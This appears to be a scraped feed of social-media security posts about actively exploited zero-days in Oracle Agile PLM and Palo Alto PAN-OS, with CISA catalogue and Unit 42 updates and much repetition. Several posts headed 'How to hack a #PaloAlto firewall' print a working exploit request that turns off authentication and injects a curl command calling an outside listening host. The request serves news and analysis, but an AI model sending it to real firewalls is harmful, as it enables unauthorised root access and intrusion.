h/t: @lawrenceabrams See Bleeping Computer reporting: Oracle warns of Agile PLM file disclosure flaw exploited in attacks
cc: @campuscodi @mttaggart @cR0w @ntkramer @iagox86 @dreadpir8robots @catc0n @harrysintonen @neurovagrant etc.

#oracle #agile #oracleagileplm #zeroday #vulnerability #eitw #activeexploitation #cve #CVE_2024_21287

Oracle exploited zero-day: Security Alert CVE-2024-21287 Released

• CVE-2024-21287 (7.5 high) Vulnerability in the Oracle Agile PLM Framework product of Oracle Supply Chain (component: Software Development Kit, Process Extension). The supported version that is affected is 9.3.6. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM Framework. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Agile PLM Framework accessible data.

It was reported as being actively exploited "in the wild" by CrowdStrike.

Oracle's actual security advisory Oracle Security Alert Advisory - CVE-2024-21287 is useless because it doesn't mention exploitation.

h/t: @lawrenceabrams See Bleeping Computer reporting: Oracle warns of Agile PLM file disclosure flaw exploited in attacks
cc: @campuscodi @mttaggart @cR0w @ntkramer @iagox86 @dreadpir8robots @catc0n @harrysintonen @neurovagrant etc.

#oracle #agile #oracleagileplm #zeroday #vulnerability #eitw #activeexploitation #cve #CVE_2024_21287

Tracked as CVE-2024-21287 (CVSS score of 7.5), the zero-day affects Agile PLM version 9.3.6 and can be exploited remotely without authentication. https://www.securityweek.com/oracle-patches-exploited-agile-plm-zero-day/

Oracle warns of Agile PLM file disclosure flaw exploited in attacks

Oracle has fixed an unauthenticated file disclosure flaw in Oracle Agile Product Lifecycle Management (PLM) tracked as CVE-2024-21287, which was...

🔗️ [Bleepingcomputer] https://link.is.it/7jwrwy

Tracked as CVE-2024-21287 (CVSS score of 7.5), the zero-day affects Agile PLM version 9.3.6 and can be exploited remotely without authentication. https://www.securityweek.com/oracle-patches-exploited-agile-plm-zero-day/

Oracle warns of Agile PLM file disclosure flaw exploited in attacks

Oracle has fixed an unauthenticated file disclosure flaw in Oracle Agile Product Lifecycle Management (PLM) tracked as CVE-2024-21287, which was...

🔗️ [Bleepingcomputer] https://link.is.it/7jwrwy

Oracle patches exploited Agile PLM vulnerability (CVE-2024-21287) https://www.helpnetsecurity.com/2024/11/19/cve-2024-21287/ #productdevelopment #CrowdStrike #enterprise #Don'tmiss #Hotstuff #Tenable #Oracle #News

CVE Alert: CVE-2024-52867 - https://www.redpacketsecurity.com/cve_alert_cve-2024-52867/

#OSINT #ThreatIntel #CyberSecurity #cve_2024_52867

CVE Alert: CVE-2024-52867 - https://www.redpacketsecurity.com/cve_alert_cve-2024-52867/

#OSINT #ThreatIntel #CyberSecurity #cve_2024_52867

CVE Alert: CVE-2024-52867 - https://www.redpacketsecurity.com/cve_alert_cve-2024-52867/

#OSINT #ThreatIntel #CyberSecurity #cve_2024_52867

CVE Alert: CVE-2024-52867 - https://www.redpacketsecurity.com/cve_alert_cve-2024-52867/

#OSINT #ThreatIntel #CyberSecurity #cve_2024_52867

How to hack a #PaloAlto firewall:

POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

user=`curl {{listening-host}}`&userRole=superuser&remoteHost=&vsys=vsys1

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

#CVE20240012 #CVE20249474 #CVE #CVE2024

Palo Alto Reports Two More Bugs in PAN-OS That Are Being Actively Exploited https://thecyberexpress.com/palo-alto-pan-os-two-bugs-under-exploitation/ #PaloAltoPANOSvulnerability #TheCyberExpressNews #VulnerabilityNews #Vulnerabilities #PaloAltoNetwork #TheCyberExpress #FirewallDaily #CVE20240012 #CVE20249474 #CyberNews #PANOS

How to hack a #PaloAlto firewall:

POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

user=`curl {{listening-host}}`&userRole=superuser&remoteHost=&vsys=vsys1

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

#CVE20240012 #CVE20249474 #CVE #CVE2024

Palo Alto Reports Two More Bugs in PAN-OS That Are Being Actively Exploited https://thecyberexpress.com/palo-alto-pan-os-two-bugs-under-exploitation/ #PaloAltoPANOSvulnerability #TheCyberExpressNews #VulnerabilityNews #Vulnerabilities #PaloAltoNetwork #TheCyberExpress #FirewallDaily #CVE20240012 #CVE20249474 #CyberNews #PANOS

watchTowr: Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474
With the release of security patches for Palo Alto Networks' exploited zero-days, watchTowr performed some patch-diffing and found the root cause of CVE-2024-0012: "We simply… supply the off value to the X-PAN-AUTHCHECK HTTP request header, and the server helpfully turns off authentication?!" and of CVE-2024-9474: "Somehow a user is able to pass a username containing shell metacharacters into the AuditLog.write() function, which then passes its value to pexecute()." The remote command execution vulnerability of CVE-2024-9474 is the ability to pass a curl command for the user value in the POST request; which allows the attacker to specify an arbitrary user, an arbitrary user role (&userRole=superuser) and be granted a valid PHP session.

#CVE_2024_0012 #CVE_2024_9474 #eitw #activeexploitation #vulnerability #zeroday #paloaltonetworks #panos #rootcauseanalysis #infosec #cybersecurity

Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474
#CVE_2024_0012 #CVE_2024_9474
https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

CISA: CISA Adds Three Known Exploited Vulnerabilities to Catalog
So hot off the press that it's not even live yet!

• CVE-2024-0012 (CVSSv4: 9.3 critical) Palo Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability
• CVE-2024-9474 (CVSSv4: 6.9 medium) Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability
• CVE-2024-1212 (perfect 10.0 🥳) Progress Kemp LoadMaster OS Command Injection Vulnerability

#cisa #cisakev #kev #knownexploitedvulnerabilitiescatalog #vulnerability #cve #CVE_2024_0012 #CVE_2024_9474 #paloaltonetworks #panos #zeroday #eitw #activeexploitation #progress #kemp #loadmaster

Unit 42: ⁠Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012
Unit 42 has additional Indicators of Compromise related to CVE-2024-0012 and CVE-2024-9474 Palo Alto Networks PAN-OS zero-day exploitation, tracked as Operation: Lunar Peek.

h/t: @cR0w cc: @briankrebs @GossiTheDog @ntkramer @iagox86 @dreadpir8robots @deepthoughts10 @mttaggart @catc0n @campuscodi and whoever else cares

#CVE_2024_0012 #CVE_2024_9474 #threatintel #infosec #cybersecurity #cyberthreatintelligence #OperationLunarPeek #LunarPeek #infosec #CTI #IOC

Palo Alto Networks 11/18 update: CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015)

The actively exploited zero-day now has a CVE ID: CVE-2024-0012* (9.3 critical) An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474

Second actively exploited zero-day: CVE-2024-9474 PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface
CVE-2024-9474 (6.9 medium) A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.

New Indicators of compromise at Unit 42: https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/

#paloaltonetworks #zeroday #vulnerability #pan #CVE_2024_9474 #CVE_2024_0012 #eitw #activeexploitation #threatintel #threatintel #cyberthreatintelligence #CTI #cybersecurity #infosec #IOC

watchTowr: Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474
With the release of security patches for Palo Alto Networks' exploited zero-days, watchTowr performed some patch-diffing and found the root cause of CVE-2024-0012: "We simply… supply the off value to the X-PAN-AUTHCHECK HTTP request header, and the server helpfully turns off authentication?!" and of CVE-2024-9474: "Somehow a user is able to pass a username containing shell metacharacters into the AuditLog.write() function, which then passes its value to pexecute()." The remote command execution vulnerability of CVE-2024-9474 is the ability to pass a curl command for the user value in the POST request; which allows the attacker to specify an arbitrary user, an arbitrary user role (&userRole=superuser) and be granted a valid PHP session.

#CVE_2024_0012 #CVE_2024_9474 #eitw #activeexploitation #vulnerability #zeroday #paloaltonetworks #panos #rootcauseanalysis #infosec #cybersecurity

CISA: CISA Adds Three Known Exploited Vulnerabilities to Catalog
So hot off the press that it's not even live yet!

• CVE-2024-0012 (CVSSv4: 9.3 critical) Palo Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability
• CVE-2024-9474 (CVSSv4: 6.9 medium) Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability
• CVE-2024-1212 (perfect 10.0 🥳) Progress Kemp LoadMaster OS Command Injection Vulnerability

#cisa #cisakev #kev #knownexploitedvulnerabilitiescatalog #vulnerability #cve #CVE_2024_0012 #CVE_2024_9474 #paloaltonetworks #panos #zeroday #eitw #activeexploitation #progress #kemp #loadmaster

Unit 42: ⁠Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012
Unit 42 has additional Indicators of Compromise related to CVE-2024-0012 and CVE-2024-9474 Palo Alto Networks PAN-OS zero-day exploitation, tracked as Operation: Lunar Peek.

h/t: cr0w cc: @briankrebs @GossiTheDog @ntkramer @iagox86 @dreadpir8robots @deepthoughts10 @mttaggart @catc0n @campuscodi and whoever else cares

#CVE_2024_0012 #CVE_2024_9474 #threatintel #infosec #cybersecurity #cyberthreatintelligence #OperationLunarPeek #LunarPeek #infosec #CTI #IOC

Palo Alto Networks 11/18 update: CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015)

The actively exploited zero-day now has a CVE ID: CVE-2024-0012* (9.3 critical) An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474

Second actively exploited zero-day: CVE-2024-9474 PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface
CVE-2024-9474 (6.9 medium) A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.

New Indicators of compromise at Unit 42: https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/

#paloaltonetworks #zeroday #vulnerability #pan #CVE_2024_9474 #CVE_2024_0012 #eitw #activeexploitation #threatintel #threatintel #cyberthreatintelligence #CTI #cybersecurity #infosec #IOC

How to hack a #PaloAlto firewall:

POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

user=`curl {{listening-host}}`&userRole=superuser&remoteHost=&vsys=vsys1

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

#CVE20240012 #CVE20249474 #CVE #CVE2024

Palo Alto Reports Two More Bugs in PAN-OS That Are Being Actively Exploited https://thecyberexpress.com/palo-alto-pan-os-two-bugs-under-exploitation/ #PaloAltoPANOSvulnerability #TheCyberExpressNews #VulnerabilityNews #Vulnerabilities #PaloAltoNetwork #TheCyberExpress #FirewallDaily #CVE20240012 #CVE20249474 #CyberNews #PANOS

How to hack a #PaloAlto firewall:

POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

user=`curl {{listening-host}}`&userRole=superuser&remoteHost=&vsys=vsys1

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

#CVE20240012 #CVE20249474 #CVE #CVE2024

Palo Alto Reports Two More Bugs in PAN-OS That Are Being Actively Exploited https://thecyberexpress.com/palo-alto-pan-os-two-bugs-under-exploitation/ #PaloAltoPANOSvulnerability #TheCyberExpressNews #VulnerabilityNews #Vulnerabilities #PaloAltoNetwork #TheCyberExpress #FirewallDaily #CVE20240012 #CVE20249474 #CyberNews #PANOS

watchTowr: Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474
With the release of security patches for Palo Alto Networks' exploited zero-days, watchTowr performed some patch-diffing and found the root cause of CVE-2024-0012: "We simply… supply the off value to the X-PAN-AUTHCHECK HTTP request header, and the server helpfully turns off authentication?!" and of CVE-2024-9474: "Somehow a user is able to pass a username containing shell metacharacters into the AuditLog.write() function, which then passes its value to pexecute()." The remote command execution vulnerability of CVE-2024-9474 is the ability to pass a curl command for the user value in the POST request; which allows the attacker to specify an arbitrary user, an arbitrary user role (&userRole=superuser) and be granted a valid PHP session.

#CVE_2024_0012 #CVE_2024_9474 #eitw #activeexploitation #vulnerability #zeroday #paloaltonetworks #panos #rootcauseanalysis #infosec #cybersecurity

Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474
#CVE_2024_0012 #CVE_2024_9474
https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

CISA: CISA Adds Three Known Exploited Vulnerabilities to Catalog
So hot off the press that it's not even live yet!

• CVE-2024-0012 (CVSSv4: 9.3 critical) Palo Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability
• CVE-2024-9474 (CVSSv4: 6.9 medium) Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability
• CVE-2024-1212 (perfect 10.0 🥳) Progress Kemp LoadMaster OS Command Injection Vulnerability

#cisa #cisakev #kev #knownexploitedvulnerabilitiescatalog #vulnerability #cve #CVE_2024_0012 #CVE_2024_9474 #paloaltonetworks #panos #zeroday #eitw #activeexploitation #progress #kemp #loadmaster

Unit 42: ⁠Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012
Unit 42 has additional Indicators of Compromise related to CVE-2024-0012 and CVE-2024-9474 Palo Alto Networks PAN-OS zero-day exploitation, tracked as Operation: Lunar Peek.

h/t: @cR0w cc: @briankrebs @GossiTheDog @ntkramer @iagox86 @dreadpir8robots @deepthoughts10 @mttaggart @catc0n @campuscodi and whoever else cares

#CVE_2024_0012 #CVE_2024_9474 #threatintel #infosec #cybersecurity #cyberthreatintelligence #OperationLunarPeek #LunarPeek #infosec #CTI #IOC

Palo Alto Networks 11/18 update: CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015)

The actively exploited zero-day now has a CVE ID: CVE-2024-0012* (9.3 critical) An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474

Second actively exploited zero-day: CVE-2024-9474 PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface
CVE-2024-9474 (6.9 medium) A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.

New Indicators of compromise at Unit 42: https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/

#paloaltonetworks #zeroday #vulnerability #pan #CVE_2024_9474 #CVE_2024_0012 #eitw #activeexploitation #threatintel #threatintel #cyberthreatintelligence #CTI #cybersecurity #infosec #IOC

watchTowr: Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474
With the release of security patches for Palo Alto Networks' exploited zero-days, watchTowr performed some patch-diffing and found the root cause of CVE-2024-0012: "We simply… supply the off value to the X-PAN-AUTHCHECK HTTP request header, and the server helpfully turns off authentication?!" and of CVE-2024-9474: "Somehow a user is able to pass a username containing shell metacharacters into the AuditLog.write() function, which then passes its value to pexecute()." The remote command execution vulnerability of CVE-2024-9474 is the ability to pass a curl command for the user value in the POST request; which allows the attacker to specify an arbitrary user, an arbitrary user role (&userRole=superuser) and be granted a valid PHP session.

#CVE_2024_0012 #CVE_2024_9474 #eitw #activeexploitation #vulnerability #zeroday #paloaltonetworks #panos #rootcauseanalysis #infosec #cybersecurity

CISA: CISA Adds Three Known Exploited Vulnerabilities to Catalog
So hot off the press that it's not even live yet!

• CVE-2024-0012 (CVSSv4: 9.3 critical) Palo Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability
• CVE-2024-9474 (CVSSv4: 6.9 medium) Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability
• CVE-2024-1212 (perfect 10.0 🥳) Progress Kemp LoadMaster OS Command Injection Vulnerability

#cisa #cisakev #kev #knownexploitedvulnerabilitiescatalog #vulnerability #cve #CVE_2024_0012 #CVE_2024_9474 #paloaltonetworks #panos #zeroday #eitw #activeexploitation #progress #kemp #loadmaster

Unit 42: ⁠Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012
Unit 42 has additional Indicators of Compromise related to CVE-2024-0012 and CVE-2024-9474 Palo Alto Networks PAN-OS zero-day exploitation, tracked as Operation: Lunar Peek.

h/t: cr0w cc: @briankrebs @GossiTheDog @ntkramer @iagox86 @dreadpir8robots @deepthoughts10 @mttaggart @catc0n @campuscodi and whoever else cares

#CVE_2024_0012 #CVE_2024_9474 #threatintel #infosec #cybersecurity #cyberthreatintelligence #OperationLunarPeek #LunarPeek #infosec #CTI #IOC

Palo Alto Networks 11/18 update: CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015)

The actively exploited zero-day now has a CVE ID: CVE-2024-0012* (9.3 critical) An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474

Second actively exploited zero-day: CVE-2024-9474 PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface
CVE-2024-9474 (6.9 medium) A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.

New Indicators of compromise at Unit 42: https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/

#paloaltonetworks #zeroday #vulnerability #pan #CVE_2024_9474 #CVE_2024_0012 #eitw #activeexploitation #threatintel #threatintel #cyberthreatintelligence #CTI #cybersecurity #infosec #IOC

#PaloAlto Unit 42 Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012 and CVE-2024-9474 https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/ #cybersecurity #Infosec

New Episode: ISC StormCast for Wednesday, November 20th, 2024

Shownotes:
Detecting the Presence of a Debugger in Linux
https://isc.sans.edu/diary/Detecting%20the%20Presence%20of%20a%20Debugger%20in%20Linux/31450
Palo Alto Patches
https://security.paloaltonetworks.com/CVE-2024-0012
https://security.paloalt

AntennaPod | Anytime Player | Apple Podcasts | Castamatic | CurioCaster | Fountain | gPodder | Overcast | Pocket Casts | Podcast Addict | Podcast Guru | Podnews | Podverse | Truefans

Or Listen right here.

Updates on PAN-SA-2024-0015: The blog has been updated with the following latest information provided by Palo Alto.

1) CVE-2024-0012 has been assigned
2) Indicators of Compromise has been updated.
3) Added a section "What if I found one of the IOCs in my Organization's environment??"
4) Affected Products and Product versions has been updated
5) Fixed versions has been updated.

Refer: https://patchnow24x7.com/blog-1/f/pan-sa-2024-0015-secure-your-paloalto-management-interface-now

#PatchNOW
#Vulnerability
#ComputerSecurity
#hacked
#Cyberattack
#infosec
#informationsecurity
#CyberSecurityAwareness
#DataBreach
#cybersecurity

r u freakin' kidding me? "X-PAN-AUTHCHECK: off" - seriously?!

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/?123

Favorite quote from WatchTowr's blog about PAN-OS vuln:

I guess auto_prepend_file actually has legitimate use besides writing PHP exploits.

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

Reading the awesome WatchTowr writeup of CVE-2024-0012 and CVE-2024-9474, the Palo Alto RCE/privesc one-two punch. Great work here as always. And h/t to @screaminggoat , of course.

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

A few things stand out:

First, sorry @cR0w, no #directorytraversalmemes for you:

We simply… supply the off value to the X-PAN-AUTHCHECK HTTP request header, and the server helpfully turns off authentication?! At this point, why is anyone surprised?

That’s right folks, a simple reproducer for CVE-2024-0012. It couldn't be easier than that.

That's the auth bypass. And then, WHAT IS THIS DOING IN ANYTHING

return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $username");

So obviously if that $username has shell metacharacters, you have yourself a nice command injection.

And guess what user the service runs as?

#PaloAlto Unit 42 Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012 and CVE-2024-9474 https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/ #cybersecurity #Infosec

Updates on PAN-SA-2024-0015: The blog has been updated with the following latest information provided by Palo Alto.

1) CVE-2024-0012 has been assigned
2) Indicators of Compromise has been updated.
3) Added a section "What if I found one of the IOCs in my Organization's environment??"
4) Affected Products and Product versions has been updated
5) Fixed versions has been updated.

Refer: https://patchnow24x7.com/blog-1/f/pan-sa-2024-0015-secure-your-paloalto-management-interface-now

#PatchNOW
#Vulnerability
#ComputerSecurity
#hacked
#Cyberattack
#infosec
#informationsecurity
#CyberSecurityAwareness
#DataBreach
#cybersecurity

r u freakin' kidding me? "X-PAN-AUTHCHECK: off" - seriously?!

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/?123

Favorite quote from WatchTowr's blog about PAN-OS vuln:

I guess auto_prepend_file actually has legitimate use besides writing PHP exploits.

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

Reading the awesome WatchTowr writeup of CVE-2024-0012 and CVE-2024-9474, the Palo Alto RCE/privesc one-two punch. Great work here as always. And h/t to @screaminggoat , of course.

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

A few things stand out:

First, sorry @cR0w, no #directorytraversalmemes for you:

We simply… supply the off value to the X-PAN-AUTHCHECK HTTP request header, and the server helpfully turns off authentication?! At this point, why is anyone surprised?

That’s right folks, a simple reproducer for CVE-2024-0012. It couldn't be easier than that.

That's the auth bypass. And then, WHAT IS THIS DOING IN ANYTHING

return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $username");

So obviously if that $username has shell metacharacters, you have yourself a nice command injection.

And guess what user the service runs as?

WatchTower: Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474 https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/ #cybersecurity #infosec #PaloAlto

If you missed this, #PaloAlto has patched a Firewall Zero-Day Exploited in Operation Lunar Peek https://www.securityweek.com/palo-alto-patches-firewall-zero-day-exploited-in-operation-lunar-peek/ @SecurityWeek @ekovacs

More:

Palo Alto Unit 42 posted this yesterday about Lunar Peek activity related to CVE-2024-0012: https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/

@christopherkunz Palo Alto keeps on giving.

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/amp/

Curious about CVE-2024-0012 - PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015)

The overall sighting gives a good timeline of activities concerning the vulnerability.

🔗 https://vulnerability.circl.lu/vuln/CVE-2024-0012#sightings

#infosec #opensource #cybersecurity #vulnerability #paloalto

Weeeeeee

I don’t know why Palo-Alto changed the CVEs at the last minute to remove reference to RCE. It’s remote code execution. https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474 - watchTowr Labs https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

CISA Adds Three Critical Vulnerabilities to the Known Exploited Vulnerabilities Catalog

: CISA adds CVE-2024-1212, CVE-2024-0012, and CVE-2024-9474 to the Known Exploited Vulnerabilities Catalog (KEV).

🔗️ [Cyble] https://link.is.it/so5jib

The way Palo Alto Networks has handled information disclosure regarding CVE-2024-0012 has been terrible 😬

#paloaltonetworks

@catc0n I noticed the disparity between the CVE-2024-9474 advisory description "privilege escalation vulnerability" and CISA's KEV Catalog name "Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability"

Palo Alto Networks discarded the verbiage from Thursday "unauthenticated remote command execution vulnerability" and divided the unauth RCE into 2 separate vulnerabilities, while stating that one would be allow for the other.

So authentication bypass to admin (CVE-2024-0012), then authenticated privesc from admin to root (CVE-2024-9474).

Unit 42 skipped talking about CVE-2024-9474.

The CVSSv4 vector is CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:A/AU:N/R:U/V:C/RE:H/U:Red I think the real takeaway is that only Integrity is impacted. Everything else appears to be the consequence of having root privileges on a firewall

@shadowserver IOCs provided by Unit 42: https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/

CVEs were added to CISA's KEV Catalog: https://www.cisa.gov/news-events/alerts/2024/11/18/cisa-adds-three-known-exploited-vulnerabilities-catalog

#CISA has updated the KEV catalogue:

CVE-2024-1212: Progress Kemp LoadMaster OS Command Injection Vulnerability https://www.cve.org/CVERecord?id=CVE-2024-1212

- CVE-2024-0012: Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability https://www.cve.org/CVERecord?id=CVE-2024-0012

- CVE-2024-9474: Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability https://www.cve.org/CVERecord?id=CVE-2024-9474 @cisacyber #cybersecurity #infosec #PaloAlto

CVE ID: CVE-2024-0012
Vendor: Palo Alto Networks
Product: PAN-OS
Date Added: 2024-11-18
Vulnerability: Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability
Notes: https://security.paloaltonetworks.com/CVE-2024-0012 ; https://nvd.nist.gov/vuln/detail/CVE-2024-0012
CVE URL: https://nvd.nist.gov/vuln/detail/CVE-2024-0012

#PaloAlto has updated its security advisories: https://security.paloaltonetworks.com/

- CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface https://security.paloaltonetworks.com/CVE-2024-0012

- CVE-2024-9474 PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface @paloaltontwks #cybersecurity #infosec

Attackers are exploiting 2 zero-days in Palo Alto Networks firewalls (CVE-2024-0012, CVE-2024-9474) https://www.helpnetsecurity.com/2024/11/18/cve-2024-0012-cve-2024-9474/ #PaloAltoNetworks #enterprise #Don'tmiss #Hotstuff #firewall #0-day #News #CVE

Palo Alto Networks has released fixes for two vulnerabilities (CVE-2024-0012 and CVE-2024-9474) in its next-generation firewalls that have been exploited by attackers as zero-days.

CVE-2024-0012 is the (previously unspecified) unauthenticated remote command execution zero-day that the company started warning about ten days ago.

https://www.helpnetsecurity.com/2024/11/18/cve-2024-0012-cve-2024-9474/

#CVE #Cybersecurity

@screaminggoat "Palo Alto Networks and Unit 42 are engaged in tracking a limited set of exploitation activity related to CVE-2024-0012 and are working with external researchers, partners, and customers to share information transparently and rapidly." 🤔

https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/

Palo Alto Unit42 Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012 https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/ @unit42_intel #cybersecurity #infosec

@neurovagrant start your Monday off with exploited zero-days:

• https://security.paloaltonetworks.com/CVE-2024-0012
• https://security.paloaltonetworks.com/CVE-2024-9474

@therecord_media @jwarminsky @jgreig can this news article be updated to include the two CVE IDs?: CVE-2024-0012 and CVE-2024-9474

• https://security.paloaltonetworks.com/CVE-2024-0012
• https://security.paloaltonetworks.com/CVE-2024-9474

Huh. So PAN apparently released sigs to cover a critical vuln in the PAN-OS web management interface. Could this finally be it? They list it as CVE-2024-0012 and link to the advisory.

Well, the link is broken, but maybe it's just not published yet: https://security.paloaltonetworks.com/CVE-2024-0012

Let's take a look at that CVE on cve.org: https://www.cve.org/CVERecord?id=CVE-2024-0012

Oh, still says reserved. Maybe they meant their own advisory number of PAN-SA-2024-0012: https://security.paloaltonetworks.com/PAN-SA-2024-0012

No, that doesn't make sense. That's about a bunch of OSS CVEs that are not even confirmed to be impacting PAN-OS.

So here we are once again with PAN using lots of words to say nothing. *sigh*

I need more coffee.

How to hack a #PaloAlto firewall:

POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

